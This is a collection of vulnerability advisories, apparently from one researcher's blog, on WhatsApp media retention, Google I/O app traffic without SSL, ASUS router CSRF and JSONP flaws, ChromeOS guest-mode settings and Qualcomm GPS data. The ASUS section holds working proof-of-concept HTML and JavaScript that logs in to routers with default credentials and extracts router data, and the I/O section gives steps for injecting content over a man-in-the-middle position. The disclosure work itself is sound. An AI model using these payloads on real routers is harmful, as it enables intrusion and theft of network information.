Advisory: WhatsApp for Android Privacy Issues with Handling of Media Files [CVE-2017-8769]

Summary

WhatsApp Messenger for Android does not delete sent and received files from the SD card on the device when chats are cleared, deleted or the application is uninstalled from the device. Additionally, the application stores sent and received files in the SD card without encryption where they are accessible to any applications with storage permissions.

The vendor (Facebook) doesn’t consider these to be security issues and does not plan to fix them. MITRE has assigned CVE-2017-8769 for these issues. It is also unclear whether platforms other than Android are affected.

Background

WhatsApp Messenger is a popular cross-platform communication tool that allows users to send and receive messages without using more expensive protocols like SMS. Additionally the application allows sending and receiving of files including audio, contacts, images, videos and arbitrary documents. It is estimated that WhatsApp has over 1 billion active users and it is owned by Facebook, which also operates the largest social networking site in the world.

One of the main selling points that WhatsApp makes is their commitment to user privacy which revolves around the implementation of end-to-end encryption via the Signal protocol originally developed by Open Whisper Systems. This encryption makes it impossible for Facebook to monitor and capture message traffic flowing between users. In some extreme cases, Facebook executives have been placed in jail for the failure to allow access to messaging data when requested by governments.

Because of the high expectation of privacy by WhatsApp user, it is important that the security of the application on the device is also properly implemented. In regards to messages, WhatsApp stores them in encrypted database but it fails to do the same for files. WhatsApp also does not clear files received or sent by the user when the chats are cleared. This can result in user data being leaked or stolen by malicious applications, law enforcement during illegal searches or unwanted actors having access to the device (“evil maid scenario”).

Vulnerability Details

As mentioned above, WhatsApp has ability to send and receive files in addition to regular messages. This functionality includes arbitrary documents from the file system, contacts, location information, and various type of multimedia files including two separate audio formats (voice notes and recordings), images and videos. There is also more recent functionality around “status” images which disappear after 24 hours. In order for WhatsApp to access the SD card, users must grant storage permissions but in practice most users do so in order to be able to exchange files.

In our research, we have found that WhatsApp for Android stores these files on the SD card where they are accessible to other applications and does not delete them when chats are cleared, deleted or the application is uninstalled. Both sent and received files are retained. They are retained on the SD card in the following folder:

  • /WhatsApp/Media/

We have observed that the following file types are retained and not deleted:

  • /WhatsApp/Media/.Statuses/
  • /WhatsApp/Media/WhatsApp Audio/
  • /WhatsApp/Media/WhatsApp Documents/
  • /WhatsApp/Media/WhatsApp Images/
  • /WhatsApp/Media/WhatsApp Video/
  • /WhatsApp/Media/WhatsApp Voice Notes/

Screenshot_20170512-000800

To replicate the issue:

  1. Install WhatsApp for Android.
  2. Login and exchange messages with another user that contain any of the file type listed above.
  3. Then, install any file manager for Android.
  4. Navigate to the SD card, and observe the files sent and received being located in the directories described above.

As the next step, try to delete a chat by tapping on the chat, holding until the delete option comes up. Delete the chat, and go back to the file manager to check.

As the next step, try going to “Settings”, “Chats”, “Chat History” and selecting either “Clear all chats” or “Delete all chats”. Go back to the file manager and observe the media files still being present.

Screenshot_20170512-000723

As the next step, uninstall WhatsApp. Go back to the file manager, and observe the media files still being there.

All testing was done on Android 7, and WhatsApp Messenger v2.17.146. It is unclear whether other platforms are affected.

Vendor Response and Mitigation Steps

The vendor (Facebook) doesn’t consider these to be security issues and has no plans to fix them. Vendor response is as follows:

Thanks again for your report. We contacted the WhatsApp team about your report, and they confirmed that the behavior you describe is intentional. They designed the Android app to optimize for the storage space available on devices and allow media in WhatsApp to be visible in other apps like the Google Photos gallery. WhatsApp doesn’t assume that clearing the chat means clearing the media files as well. While the behavior might change in the future, we currently don’t have any plans to do so.

The vendor also noted that on Windows Phone, there is a setting that stops the application from saving media files that are received by the user.

It is recommended that users regularly check the folders listed above on the SD card and empty them as needed. For those users who desire higher security, it may be prudent to reformat or encrypt the SD card, or destroy the SD card if needed in order to delete these files.

References

CVE ID: CVE-2017-8769
CWE IDs: CWE-359 (“Exposure of Private Information”)
Facebook security reference # 10101277738643365

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-04-09: Initial report to Facebook
2017-04-14: Email exchange with the vendor
2017-04-20: Email exchange with the vendor
2017-04-03: Email exchange with the vendor
2017-05-09: Email exchange with the vendor
2017-05-16: Email exchange with the vendor
2017-05-17: Email exchange with the vendor
2017-05-17: Public disclosure

Advisory: Google I/O 2017 Android App Doesn’t Use SSL for Some Content [CVE-2017-9045]

Summary

Google I/O 2017 Application for Android does not use SSL for retrieving some information to populate the app. This would allow an MITM attacker to inject their own content into the application. The vendor (Google) fixed the issue in v5.1.4 of the application.

Details

The Google I/O 2017 application for Android is a companion app produced by Google for their annual I/O conference that takes place in May. This particular version was produced for I/O conference in May of 2017.

While performing network level testing of various Google applications, we discovered that the content for the application did not use SSL. This would allow an MITM attacker to inject their own content into the application using a method like ARP spoofing, DNS takeover, etc.

To replicate the issue on v5.0.3:

  1. Install the application
  2. Setup the proxy without an SSL certificate and point the Android device to it.
  3. Go to the application and select the “feed” option (middle icon on the bottom).
  4. Go back to the proxy and observe captured traffic.

Screenshots of the feed before and after the data is loaded:

Screenshot_20170516-205242  Screenshot_20170516-220959

Network traffic captures appear as follows:

Screenshot_20170511-202707   Screenshot_20170511-202713

The specific URL was “http://storage.googleapis.com/io2017-festivus/manifest_v1.json” which then causes the device to download additional URLs. The following URLs are downloaded:

This can also be seen in the source code of the I/O 2016 application on Github as follows:

google_github

All testing was done on Android 7, Google I/O version 5.0.3. Network captures were performed using an on-device proxy (PacketCapture) without a trusted SSL certificate.

Proof of Concept

All testing was done on Ubuntu v17.04 and Android 7:

  1. Install nginx – “sudo apt-get install nginx”.
  2. Install dnsmasq – “sudo apt-get install dnsmasq”
  3. Find out the IP address of your computer via ifconfig.
  4. Add the IP address mapping to the hosts file: “192.168.1.x  storage.googleapis.com”
  5. Create and download the files from Google to the NGINX directory:
    1. cd /var/www/html
    2. mkdir io2017-festivus
    3. cd io2017-festivus
    4. wget http://storage.googleapis.com/io2017-festivus/manifest_v1.json
    5. wget http://storage.googleapis.com/io2017-festivus/blocks_v4.json
    6. wget http://storage.googleapis.com/io2017-festivus/map_v4.json
    7. wget http://storage.googleapis.com/io2017-festivus/session_v1.70.json
  6. Modify “blocks_v4.json” to add your content.
  7. Install version 5.0.3 of the application on the Android device.
  8. Change DNS on the device to point to the Ubuntu machine.
  9. Open the app, skip sign in, and on the main screen choose the feed icon.
  10. Switch back to the first section and observe injected content:

Screenshot_20170516-223446

Vendor Response

This issue was responsibly reported to the vendor and fixed in version 5.1.4.

References

CVE ID: CVE-2017-9045

Google I/O 2016 source code: https://github.com/google/iosched

Bounty Information

Pending…

Credits

Advisory written by Yakov Shafranovich.

Timeline

2017-05-11: Initial report to the vendor
2017-05-11: Report triaged by the vendor and bug filed
2017-05-13: Fixed version released by the vendor
2017-05-16: Draft advisory sent to vendor for comment
2017-05-17: Public disclosure

Multiple Vulnerabilities in ASUS Routers

Summary

Various models of ASUS RT routers have several CSRF vulnerabilities allowing malicious sites to login and change settings in the router; multiple JSONP vulnerabilities allowing exfiltration of router data and an XML endpoint revealing WiFi passwords.

Most of these issues have been fixed by Asus in the March 2017 firmware update under v3.0.0.4.380.7378. One issue (JSONP information disclosure – CVE-2017-5892) remains unfixed since the vendor doesn’t consider it to be a security threat.

CVE-2017-5891 has been assigned to the CSRF issues, and CVE-2017-5892 to cover the JSONP disclosure without login issue. [ADDED 05/11/2017: Two additional CVEs have been issued to cover JSONP issues after login – CVE-2017-887 – and the XML information disclosure issue – CVE-2017-8878].

[ADDED 05/28/2017: As reported in comments below, multiple other models may be affected; please review the list below for details on what is affected, and whether patches are available]

Vulnerability Details

RT routers from ASUS like many other routers come with a built-in web interface accessible over the local network but normally not accessible via the Internet. We discovered multiple issues within that web interface that would can facilitate attacks on the router either via a malicious site visited by a user on the same network, or a malicious mobile or desktop application running on the same network.

For the CSRF vulnerabilities, a user would need to visit a malicious site which can try to login and change settings. For the JSONP vulnerabilities, a website can load the JSONP endpoints via SCRIPT tags as long as matching function name is defined on that site. The XML endpoint requires a mobile or desktop application to exploit.

NOTE: all of these assume that the attacker knows the local IP address of the router. This could probably be guessed or be determined via Javascript APIs like WebRTC. For desktop and mobile applications, determination of the gateway address should be trivial to implement.

Issue #1 – Login Page CSRF (CVE-2017-5891)

The login page for the router doesn’t have any kind of CSRF protection, thus allowing a malicious website to submit a login request to the router without the user’s knowledge. Obviously, this only works if the site either knows the username and password of the router OR the user hasn’t changed the default credentials (“admin / admin”). To exploit, submit the base-64 encoded username and password as “login_authorization” form post, to the “/login.cgi” URL of the browser.

Example of a form that can exploit this issue (uses default credentials):

<form action="http://192.168.1.1/login.cgi"
   method="post" target="_blank">
<input name="login_authorization" type="text"
   value="YWRtaW46YWRtaW4=" />
<input type="submit" /></form>

Issue #2 – Save Settings CSRF (CVE-2017-5891)

The various pages within the interface that can save settings do not have CSRF protection. That means that a malicious site, once logged in as described above would be able to change any settings in the router without the user’s knowledge.

NOTE: We have not been to exploit this issue consistently

Issue #3 – JSONP Information Disclosure Without Login (CVE-2017-5892)

Two JSONP endpoints exist within the router which allow detection of which ASUS router is running and some information disclosure. No login is required to the router. The vendor doesn’t consider these endpoints a security threat. [ADDED 05/11/2017: A project named Sonar.JS exists on Github that describes how to use this with WebRTC to figure out which router the user is running, This project is an example of what is possible with an end point like this one].

The endpoints are as follows:

  • /findasus.json
    • Returns the router model name, SSID name and the local IP address of the router
      • iAmAlive([{model?Name: “XXX”, ssid: “YYY”, ipAddr: “ZZZZ”}])
  • /httpd_check.json
    • Returns: {“alive”: 1, “isdomain”: 0}

Exploit code as follows:

function iAmAlive(payload) {
  window.alert("Result returned: " + JSON.stringify(payload));
}
function alert1() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/findasus.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}
function alert2() {
  var script = document.createElement('script');
  script.src = 'http://192.168.1.1/httpd_check.json'
  document.getElementsByTagName('head')[0].appendChild(script);
}

Issue #4 – JSONP Information Disclosure, Login Required (CVE-2017-8877)

There exist multiple JSONP endpoints within the router interface that reveal various data from the router including.

Below is a list of endpoints and exploit code:

/status.asp – Network Information

function getstatus() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/status.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function show_wanlink_info() {
    var obj = {};
    obj.status = wanlink_status();
    obj.statusstr = wanlink_statusstr();
    obj.wanlink_type = wanlink_type();
    obj.wanlink_ipaddr = wanlink_ipaddr();
    obj.wanlink_xdns = wanlink_xdns();
    window.alert(JSON.stringify(obj));
}

<br/>
<button onClick="getstatus()">Load Status script</button>
<button onClick="show_wanlink_info()">Show wanlink info</button>
<br/><br/>

/wds_aplist_2g.asp – Surrounding Access points, 2.4 Ghz band

/wds_aplist_5g.asp – Surrounding Access points, 5 Ghz band

 

function getwds_2g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_2g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}
function getwds_5g() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/wds_aplist_5g.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getwds_2g()">Load 2G info</button>
<button onClick="getwds_5g()">Load 5G info</button>
<button onClick="window.alert(JSON.stringify(wds_aplist))">Show AP info</button>
<br/><br/>

/update_networkmapd.asp – Network map of devices on the network

function getmap() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_networkmapd.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getmap()">Load Network map</button>
<button onClick="window.alert(JSON.stringify(fromNetworkmapd))">Show Map</button>
<br/><br/>

/update_clients.asp – Origin data

function getorigin() {
    originData = [];
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/update_clients.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getorigin()">Load Origin</button>
<button onClick="window.alert(JSON.stringify(originData))">Show Origin</button>

/get_real_ip.asp – External IP address

function getrealip() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_real_ip.asp'
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getrealip()">Load IP</button>
<button onClick="window.alert(JSON.stringify(wan0_realip_ip))">Show IP</button>

/get_webdavInfo.asp – WebDAV information

function getwebdav() {
    var script = document.createElement('script');
    script.src = 'http://192.168.1.1/get_webdavInfo.asp';
    document.getElementsByTagName('head')[0].appendChild(script);
}

<br/>
<button onClick="getwebdav()">Load WebDav</button>
<button onClick="window.alert(JSON.stringify(pktInfo))">Show Info 1</button>
<button onClick="window.alert(JSON.stringify(webdavInfo))">Show Info 1</button>
<br/><br/>

Issue #5 – XML Endpoint Reveals WiFi Passwords (CVE-2017-8878)

An XML endpoint exists in the router which reveals the WiFi password to the router but to fully exploit this issue, it would require a mobile or desktop application running on the local network since XML cannot be loaded cross origin in the browser. This endpoint can be accessed at the following URL and requires login:

[router IP]/WPS_info.xml

Mitigation Steps / Vendor Response

Users should change the default credentials and apply the latest firmware released by ASUS, version v3.0.0.4.380.7378 or higher (except for 4G-AC55U which has no patches available).

There is no mitigation available for the issue #3 – JSONP information disclosure without login.

Affected models include the following ASUS routers and is not exhaustive:

  • 4G-AC55U – [ADDED 05/10/2017, patches are available as of 06/13/2017]
  • RT-AC51U
  • RT-AC52U B1 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC53 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC53U
  • RT-AC55U
  • RT-AC56R
  • RT-AC56S
  • RT-AC56U
  • RT-AC58U – [ADDED 05/28/2017: As reported by a commenter below, this one is also affected] [ADDED 06/15/2017 – firmware update now available]
  • RT-AC66U
  • RT-AC68U
  • RT-AC68UF – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC66R
  • RT-AC66U
  • RT-AC66W
  • RT-AC68W
  • RT-AC68P
  • RT-AC68R
  • RT-AC68U
  • RT-AC87R
  • RT-AC87U
  • RT-AC88U – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC1200 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC1750 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-AC1900P
  • RT-AC3100
  • RT-AC3200
  • RT-AC5300
  • RT-AC1200G+ – [ADDED 06/15/2017: based on a comment below]
  • RT-ACRH13 – [ADDED 05/28/2017: As reported by a commenter below, this one is also affected and has no patches]
  • RT-N11P
  • RT-N12 (D1 version only)
  • RT-N12+
  • RT-N12E
  • RT-N16 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-N18U
  • RT-N56U
  • RT-N66R
  • RT-N66U (B1 version only)
  • RT-N66W
  • RT-N300 – [ADDED 05/10/2017 based on Asus Firmware updates]
  • RT-N600 – [ADDED 05/10/2017 based on Asus Firmware updates]

References

CVE-IDs: CVE-2017-5891, CVE-2017-5892, CVE-2017-8877 and CVE-2017-8878

CERT/CC Tracking # VR-627

Credits

We would like to thank CERT/CC for helping to coordinate the disclosure process. This advisory was written by Yakov Shafranovich.

Timeline

2017-01-21: Initial contact with the vendor
2017-01-23: Initial contact with CERT/CC
2017-02-05: Vulnerability details and POC code provided to the vendor, CVEs requested
2017-02-10: Vulnerability analysis received from the vendor
2017-02-12: Beta firmware provided by the firmware to test fixes
2017-02-12: Vendor fixes confirmed

2017-03-31: Fixed firmware released publicly by the vendor

2017-05-01: Draft advisory shared with the vendor and CERT/CC

2017-05-09: Public disclosure

Advisory: ChromeOS / ChromeBooks Persist Certain Network Settings in Guest Mode

Summary

Certain network settings in ChromeOS / ChromeBooks persists between reboots when set in guest mode. These issues have been reported to the vendor but will not be fixed since the vendor considers them to be WAI (Working As Intended). These attacks require physical access to the device in order to execute them but future avenues of research looking at network vectors should be undertaken.

Background

ChromeOS is the operating system developed by Google that runs on ChromeBook devices. It is build on top of Linux and around the Chrome browser. The OS has a guest mode which runs Chrome in anonymous mode on top of a temporary guest account. The data within that account is stored in RAM and is erased upon reboot. However, it appears from our research that some settings, especially network related ones, reside elsewhere and do persist between reboots.

Our original interest in this area was prompted by a standing $100,000 USD bounty offered by Google to an exploit “that can compromise a Chromebook or Chromebox with device persistence in guest mode (i.e. guest to guest persistence with interim reboot, delivered via a web page)”. While we have not been able to deliver these attacks via a web page, we did achieve some persistence in network settings in guest mode via physical access. Further research is needed to achieve remote exploitation.

Details

The following network settings were observed in guest mode as persisting between reboots if the change is made by a guest user while the Chromebook is in guest mode:

  • Details of WiFi network such as password, authentication, etc.
  • Preferred WiFi network
  • DNS settings on the currently connected WiFi network

To replicate, do the following:

  1. Login as a guest into the Chromebook.
  2. Click on settings, and:
    • Try to remove a WiFi network and add a new preferred network;
    • Or change settings for an existing network;
    • Or change DNS servers for an existing network
  3. Reboot, re-enter guest mode and observe settings persisting

The following settings only persist when changes are made on the login screen. If a user logs in as a guest user or a Google account, this goes away:

  • Proxy settings

To replicate:

  1. Start the Chromebook until Login prompt appears. DO NOT login.
  2. Click on settings, change the proxy settings in the current network.
  3. Reboot and go back to the login screen, confirm settings for proxy do persist.
  4. Login to an existing account or as guest, check settings again and observe that proxy settings are now greyed out.

Implications of this are most important in scenarios where a shared Chromebook is used in a public environment such as a library, school, etc. Using these attacks, a malicious user can modify the settings on a public ChromeBook to point to malicious DNS (like DNS Changer virus) or malicious WiFi hotspot, and subsequent users will not realize that their sessions are affected.

We have not been able to achieve remote exploitation, but an existing private Chrome API (chrome.networkingPrivate) would provide access to these settings even in guest mode. This API is not normally available via the Web, so an additional browser exploit would need to be chained to the issues described here to achieve a complete exploit. Another thing to note is that while guest mode normally runs under a RAM disk which is erased after the device is rebooted, the network settings appear to reside elsewhere within the device. That can be used as a further area of possible attacks.

All testing was done in 2016 on the following system, and it is not clear if other ChromeBook hardware is affected:

  • Device: Acer C7 Chromebook
  • Chrome Versions: 49.0.2623.95, 49.0.2623.111 and 51.0.2704.106 (stable)
  • ChromeOS Versions: 7834.60.0, 7834.66.0 and 8172.62.0 (stable parrot)

Vendor Response

The vendor has rejected all of these issues as WAI – working as intended. The vendor has provided the following explanation:

First of all, note that there are quite a few ways for network settings to propagate into sessions. DNS and proxy (per issue 627299) settings are just two of them. You can go further and just join the device to a malicious WiFi network that it’ll pick up again after rebooting (this is possible from the login screen, no need to start a guest session). Edit: There are more issues filed for these cases, cf. issue 600194 and issue 595563.

If we were to crack down on propagation of (malicious) network settings into sessions, we’d take quite a UX hit, as we’d have to prompt the user to reconfirm their network settings whenever the device is connected to a network that user hasn’t yet approved (and it’s quite unlikely for this to be effective). The alternative of only allowing the device owner to configure networks doesn’t fly either as it has the potential to lock out legitimate users.

Regarding programmatic injection of network settings, there is (1) device policy, which is already properly locked down (i.e. only open to enterprise admins, and settings aren’t Chrome-writable) and (2) chrome.networkPrivate, which is used by the settings screens and (3) direct DBus communication to shill. #2 and #3 require a Chrome browser exploit.

Even if malicious network config gets picked up by a session, it’s not entirely game over – TLS will flag maliciously redirected requests (assuming the attacker doesn’t have forged certs). There’s a chance of information leakage via insecure connections and/or observing the network though.

Given the above, the currently implemented trade-off is reasonable, so I’ll close this (and related bugs) as WAI. I’ve also updated the chromiumos sites page mentioned above – networks were never part of the protected device settings anyways, so the cited half-sentence was inaccurate from the start AFAICT.

Additional comments from the vendor:

It may be worth noting, as per your original interactions, that the current behavior is by design.  Networks may be marked shared or unshared by users, but networks added before sign-in are necessarily global in nature.  The default behavior is one meant to minimize unintended side effects — such as one user changing the proxy on another using the same shared network.  Beyond that, there is very little difference between connecting to a malicious upstream network and connecting to a non-malicious upstream network.  The security of the OS and its communications, using TLS, should remain unperturbed.  Guest mode itself does not provide stronger transit privacy guarantees by default as there are few default options for offsetting normal information leakage, such as DNS resolution or IP traffic.

References

Chrome Bugs: 595563, 600194, 600195 and 627299
Chrome Rewards bounty details: see here
Private networking API: see here

Credits

Advisory written by Yakov Shafranovich.

Timeline

2016-03-17: Bug 595563 reported
2016-03-21: Bug 595563 rejected
2016-04-03: Bugs 600194 and 600195 reported
2016-07-12: Bug 627299 reported
2016-08-09: Bugs 600194, 600195, 627299 rejected and opened to the public
2016-10-02: Bug 595563 opened to the public
2017-03-08: Copy of this advisory provided to Google for comment
2017-04-07: Final comments received from Google
2017-04-09: Public disclosure

Research: The Dangers of Proxying S3 Content

Background

It is common for organizations to use Amazon’s S3 service as a place to host static assets and other content. The content within Amazon S3 is organized in “buckets”. Amazon also provides ability to point custom domains at S3 buckets through virtual hosting or the static website endpoints. In both cases, a CNAME mapping is created from the custom domain to an Amazon domain name.

However, SSL support is not available via the custom domain name, but SSL is provided if either “s3.amazonaws.com/<bucket-name>” URL or the “<bucket-name>.s3.amazonaws.com” domain name is used directly (as long as there are no periods in the bucket name). The reason why SSL doesn’t work when accessing the plain domain names is because Amazon is not able to provide certificates for them because they are not the domain owner and current S3 functionality does not allow custom certificates to be loaded. However, for “s3.amazonaws.com” domains, Amazon provides a wildcard certificate which works just fine. If you try to access the domain names directly, you will be served content with the same wild card certificate which of course would not match the domain names.

Possible SSL solution – CloudFront or Another CDN

One possible solution offered by AWS is to use their CDN offering called CloudFront. In that case, you can setup two CloudFront domains that sit in front of the S3 buckets and CNAME your domain names to them. This of course comes at a higher price and a confusing set of options: you can use the cloudfront.net subdomains, or a free SNI-enabled SSL certificate not compatible with older browsers or a costly ($600/month/per domain) option to upload your own SSL certificate. The data would then flow as follows:

[S3] >—-internal AWS network—-> [CloudFront] >—–SSL—-> [users]

Another set of solutions is to use a non-AWS CDN like CloudFront, etc. and have the CDN proxy the content with SSL. The setup would be similar to Amazon with SNI and non-SNI SSL options available. The data flow would then look like this (for CloudFlare):

[S3] >—-HTTP—-> [CloudFlare] >—–SSL—-> [users]

What You Should Not Do – Proxy S3 Content Yourself

Of course many developers would immediately react to this particular problem in the same way: I can do it better by myself! The usual solutions is to have a script or a webserver rule that will automatically retrieve the content from S3 and display it to the user. So it would look like this:

Everything after “/static/” would that be retrieved from some S3 bucket, let’s say “marketing.example”. So the following path would be followed:

Of course this only lasts as long as there is only one bucket. Let’s say now another bucket is needed called “support.example”. So the script will become something like with the bucket name in the URL:

What will often happen at this point is that the developer will not realize that the bucket names need to be validated against a whitelist of valid buckets. Because S3 bucket names are not unique to one AWS user but share a global namespace across all S3 users, this script would be able to retrieve data from any other S3 bucket, as long as it is public. This will not happen when using CloudFront or other CDNs because they will be mapped 1-to-1 against a specific S3 bucket.

How will this look like? If an attacker can figure out that the script takes arbitrary bucket names, they can go ahead and create a new bucket called “evil.example” and then use the following URLs to retrieve content from it:

What can this be leveraged for? Some examples:

  • Serving malware since the content will be served under the target domain and the target SSL certificates
  • Facilitating phishing attacks
  • XSS since HTML / JS content will bypass the same origin policy since it is served from the same domain as the target
  • Stealing session cookies since the code will run in the same domain and have access to cookies
  • If the content is retrieved using the S3 APIs, then an attacker could setup a “Requester Pays Bucket” and make money off the target (although Amazon would probably catch this eventually)
  • [insert your exploit here]

Recommendations

  • Don’t re-invent the wheel, use an existing solution like CloudFront, or some other CDN
  • If you must proxy content yourself, make sure you have a whitelist of valid buckets, and use other technologies like subdomains, HTTPOnly cookies, CSP headers, etc. to segregate the S3 content from the rest of the site

Advisory: Insecure Transmission of Qualcomm Assisted-GPS Data [CVE-2016-5341]

Summary

Assisted GPS/GNSS data provided by Qualcomm for compatible receivers is often being served over HTTP without SSL. Additionally many of these files do not provide a digital signature to ensure that data was not tampered in transit. This can allow a network-level attacker to mount a MITM attack and modify the data while in transit. While HTTPS and digitally-signed files are both available, they are newer and not widely used yet.

There are also some attacks that allow the device to be crashed and those have been fixed by both Qualcomm and Google.

Background – GPS and gpsOneXtra

Most mobile devices today include ability to locate themselves on the Earth’s surface by using the Global Positioning System (GPS), a system originally developed and currently maintained by the US military. Similar systems developed and maintained by other countries exist as well including Russia’s GLONASS, Europe’s Galileo, and China’s Beidou.

The GPS signals include an almanac which lists orbit and status information for each of the satellites in the GPS constellation. This allows the receivers to acquire the satellites quicker since the receiver would not need to search blindly for the location of each satellite. Similar functionality exists for other GNSS systems.

In order to solve the problem of almanac acquisition, Qualcomm developed the gpsOneXtra system in 2007 (also known as IZat XTRA Assistance since 2013). This system provides ability to GPS receivers to download the almanac data over the Internet from Qualcomm-operated servers. The format of these XTRA files is proprietary but seems to contain current satellite location data plus estimated locations for the next 7 days. Most Qualcomm mobile chipsets and GPS chips include support for this technology. A related Qualcomm technology called IZat adds ability to use WiFi and cellular networks for locations in addition to GPS.

Additional diagram of the system as described in Qualcomm’s informational booklet:

gps

Background – gpsOneXtra Data Files

During our network monitoring of traffic originating from an Android test device, we discovered that the device makes periodic calls to the Qualcomm servers to retrieve gpsOneXtra assistance files. These requests were performed every time the device connected to a WiFi network, and originated from an OS-level process. Our examination of network traffic and the Android source code revealed that the network calls did not use SSL or any other encryption or authentication technology, and that the specific files we tested were not digitally signed. Our testing was performed on Android v6.0, patch level of January 2016, on a Motorola Moto G (2nd gen) GSM phone.

As discovered by our research and confirmed by the Android source code, the following URLs were used:

http://xtra1.gpsonextra.net/xtra.bin
http://xtra2.gpsonextra.net/xtra.bin
http://xtra3.gpsonextra.net/xtra.bin

http://xtrapath1.izatcloud.net/xtra2.bin
http://xtrapath2.izatcloud.net/xtra2.bin
http://xtrapath3.izatcloud.net/xtra2.bin

WHOIS record show that both domains – gpsonextra.net and izatcloud.net are owned by Qualcomm. Further inspection of those URLs indicate that both domains are being hosted and served from Amazon’s Cloudfront CDN service (with the exception of xtra1.gpsonextra.net which is being served directly by Qualcomm). We observed that the gpsonextra.net domain is serving v1 of the XTRA data files, while the izatcloud.net domain is serving version 2 of the data files, named XTRA2.

Qualcomm has clarified to us that both sets of servers are actually serving three different types of files:

  • xtra.bin – XTRA 1.0 files, providing GPS assistance data (protected by a CRC checksum)

  • xtra2.bin – XTRA 2.0 files, providing GPS and GLO assistance data (protected by a CRC checksum)

  • xtra3grc.bin – XTRA 3.0 files, providing GPS, GLO, and BDS assistance data (protected by a digital signature). These files have been available since 2014.

On the Android platform, our inspection of the Android source code shows that the file is requested by an OS-level Java process, which passes the data to a C++ JNI class, which then injects the files into the Qualcomm modem or firmware. We have not inspected other platforms in detail, but suspect that a similar process is used.

Vulnerability Details and Implications

Issue #1 – Because the XTRA and XTRA2 data files are served over HTTP without SSL, this allows an attacker to mount a MITM attack on the network level and modify the GPS assistance data while in transit. While XTRA2 files do use a CRC checksum, it would be possible to re-calculate it.

Issue #2 – because both XTRA and XTRA2 files do not use a digital signature, the receivers of this data would have no way to verify that it is in fact correct. While XTRA2 files do use a CRC checksum, it would be possible to re-calculate it.

This issue affects all devices with gpsOneXtra capability unless they are using the XTRA3 files. One implication of this type of attack would result in a denial of service in the receiver by forcing a manual search for  GPS signal, thus delaying a GPS lock. Further research is needed to determine if other types of attacks are possible via this channel.

Issue #3 – see also our earlier advisory on CVE-2016-5348 about how large XTRA data files can be used to crash Android devices remotely. This was fixed in the Android code back in October of 2016 and was fixed in the Qualcomm binary code used by Android in December 2016.

Mitigation Steps

For Android devices, users should apply the October and December 2016 security patches.

For all other devices and based on information provided by Qualcomm, the following mitigation steps are available:

  • For receivers that support XTRA and XTRA2 formats, switching to HTTPS is recommended using the following URLS:

    https://xtrapath1.izatcloud.net/xtra.bin
    https://xtrapath2.izatcloud.net/xtra.bin
    https://xtrapath3.izatcloud.net/xtra.bin
    https://ssl.gpsonextra.net/xtra.bin

    https://xtrapath1.izatcloud.net/xtra2.bin
    https://xtrapath2.izatcloud.net/xtra2.bin
    https://xtrapath3.izatcloud.net/xtra2.bin
    https://ssl.gpsonextra.net/xtra2.bin

  • Receivers are encouraged to switch to the use of the new XTRA3 digitally signed format in conjunction with HTTPS. Details on the file format and how the digital signature is verified is available to OEMs directly from Qualcomm. The following URLs are available:

    https://xtrapath1.izatcloud.net/xtra3grc.bin
    https://xtrapath2.izatcloud.net/xtra3grc.bin
    https://xtrapath3.izatcloud.net/xtra3grc.bin
    https://ssl.gpsonextra.net/xtra3grc.bin

Vendor Responses

Qualcomm has acknowledged the issue as being known since 2014 and has released guidance for their OEM customers on fixing the issue. The fix includes the use of SSL servers to retrieve the XTRA and XTRA2 data files, and the eventual switchover to the new XTRA3 data format which includes a digital signature as described above.

Google has acknowledged that this issue affects the Android OS. A fix for this issue is included in the December 2016 Android bulletin.

Apple and Microsoft have indicated to us via email that GPS-capable devices manufactured by them including iPad, iPhones, etc. and Microsoft Surface and Windows Phone devices are not affected, since they use an internal secure delivery mechanism for this data, and do not retrieve data directly from Qualcomm’s servers.

References

Android security bulletin: December 2016
CERT/CC tracking: VR-179
CVE-ID: CVE-2016-5341
GNSS sample almanacs: here
Google: Android bug # 211602 / AndroidID-7225554
gpsOneXTRA information booklet: archived version here
Our earlier advisory: crashing phones with large XTRA data files

CVE Information

The following information is being provided by Qualcomm to the primary CNA:

CVE-ID: CVE-2016-5341
Affected Projects: Assisted GNSS capable receivers
Access Vector: Network
Security Risk: High
Vulnerability: CWE-287 Improper Authentication
Description: Improper Validation while injecting specific versions of XTRA Data.
Change summary: allow enforcing XTRA version check using the QMI API.

Note: XTRA3 data includes a cryptographic signature, providing integrity and authenticity protection of the assistance data.

Credits

We would like to thank CERT/CC for helping to coordinate this process, and all of the vendors involved for helpful comments and a quick turnaround.

Timeline

2016–05-29: Android bug report filed with Google
2016-05-31: Android bug confirmed
2016–05–29: Bug reported to Qualcomm security and CERT via email
2016-05-30: Reply received from Qualcomm and tracking number assigned
2016-06-01: Reply received from CERT and tracking number assigned
2016-06-20: Bug confirmed and CVE reserved by Qualcomm
2016-09-06: Coordination with Google on public disclosure
2016-09-12: Coordination with Qualcomm on public disclosure
2016-12-02: Public talk at BSides Philly 2016
2016-12-05: Android bulletin published; public disclosure of this advisory

Speaking at #BsidesPhilly This Friday

UPDATED: Slides can be found here, and the recording of the talk can be found on YouTube here (sorry for the bad quality of the recording)

We will be giving a talk this Friday as the inaugural Bsides Philly 2016 conference. Slides will be posted after the talk.

Details here:

http://www.bsidesphilly.org/schedule/events/crashing-android-phones-via-hostile-networks/

Crashing Android phones via hostile networks

